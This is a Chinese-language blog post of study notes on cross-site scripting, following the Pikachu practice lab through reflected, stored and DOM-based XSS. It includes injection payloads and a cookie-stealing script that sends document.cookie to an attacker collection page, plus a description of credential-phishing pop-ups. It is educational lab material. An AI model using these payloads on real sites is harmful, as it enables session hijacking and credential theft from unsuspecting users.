XSS跨站腳本攻擊學習筆記(pikachu)


頹廢了幾天,該好好努力了。

 

XSS概述

 

XSS漏洞是web漏洞中危害較大的漏洞,是一種發生在web前端的漏洞,所以危害的對象也主要是前端用戶,XSS可以用來進行釣魚攻擊,前端js挖礦,獲取用戶cookie。甚至可以結合瀏覽器自身的漏洞對用戶主機進行遠程控制等。

 

XSS漏洞的常見類型

 

1.反射型,交互的數據一般不會存在在數據庫里面,一次性,所見即所得,一般出現在查詢類頁面等。

2.存儲型交互的數據會被存在數據庫里面,永久性存儲,一般出現在留言板,注冊等頁面。

3.DOM型不與后台服務器產生數據交互,是一種通過DOM操作前端代碼輸出的時候產生的問題,一次性,也屬於反射型。

 

XSS漏洞形成的原因

 

形成XSS漏洞的主要原因是程序對輸入和輸出的控制不夠嚴格,導致”精心構造”的腳本輸入后,再輸到前端時被瀏覽器當作有效代碼解析執行從而產生危害

 

XSS漏洞測試流程

 

1, 在目標站點上找到輸入點,比如查詢接口,留言板等

2, 輸入一組“特殊字符+唯一識別字符”,點擊提交后,查看返回的源碼,是否有做對應的處理

3, 通過搜索定位到唯一字符,結合唯一字符前后的語法確認是否可以構造執行js的條件(構造閉合)

4, 提交構造的腳本代碼,看是否可以成功執行,如果成功執行則說明純在XSS漏洞

 

Tips:

  1. 一般查詢接口容易出現反射型XSS,留言板容易出現存儲型XSS
  2. 由於后台可能存在過濾措施,構造的script可能會被過濾掉,而無法生效,或者環境限制了執行(瀏覽器);
  3. 通過變化不同的script,嘗試繞過后台過濾機制

 

下面開始靶場的練習

 

反射型XSS(get)

 

按照我們的測試流程,先輸入一些可能會被過濾的字符和唯一字符

 

 

 

 

 

我們查看一下源代碼

 

 

 

通過查找發現我們的唯一字符

 

發現沒有任何的過濾,那么我們就可以構造一個xss的彈窗(不僅限於彈窗,這里只是做演示)

 

<script>alert('xss')</script>

 

 

 

發現前端限制了我們的輸入長度

 

我們可以在開發者工具中進行修改

 

 

 

這樣我們就可以插入我們的payload了

 

 

 

存儲型XSS

 

 

一般都是在留言板內,把內容保存在數據庫,這樣每次訪問這個頁面就會觸發xss

 

這個不多說,和反射型就這個區別

 

DOM型XSS

 

 

 

 

 

定義一個str來接收id為text的值

 

然后再把str寫進a標簽里面給了id為dom的div

 

這樣我們可以構造把a標簽添加屬性的xss

 

' onclick = "alert('xss')">

 

給a標簽一個單擊的屬性,里面寫入xss代碼

 

dom型xss-x

 

其實也是一樣的

 

 

 

window.location.search獲取url?后面的部分

 

然后進行url解碼

 

獲取text后面的內容

 

然后再發送給讓往事都隨風吧

 

' onclick = "alert('xss')">

 

當我們點擊這句話的時候也一樣會觸發我們的xss代碼

 

get型XSS獲取cookie

 

pikachu有自帶的XSS測試平台

 

 

 

 

 

 

配置登陸以后

 

進入cookie收集

 

目前當我們還沒有進行測試的時候,是為空的,

 

當我們構造一個xss代碼

 

<script>document.location = ‘http://10.2.10.35/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>

 

跳轉到我們接收cookie的頁面,並且把cookie帶入,構成一個完整的get請求

 

查看cookie.php文件,

 

 

 

這里改成你想要跳轉的頁面,偽造出你這個頁面沒問題

 

之后我們就可以把構造好的頁面發送給別人

 

讓別人點擊以后查看效果

 

 

 

反射型xss(post)

 

我個人的理解是,在被攻擊的用戶打開某個存在xss漏洞的頁面的時候,在已經登陸的狀態下又點開了攻擊者發來的鏈接,鏈接給存在xss漏洞的頁面提交了post請求,JS獲取到了cookie然后返回到攻擊者的接口

 

首先先看靶場

 

 

通過提示我們知道賬號密碼是admin/123456

 

XSS釣魚攻擊(存儲型XSS)

 

當打開我們帶有釣魚xss的網頁時,會彈出一個進行身份驗證的窗口,讓你輸入賬號密碼,賬號密碼就會發往我們的XSS后台

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM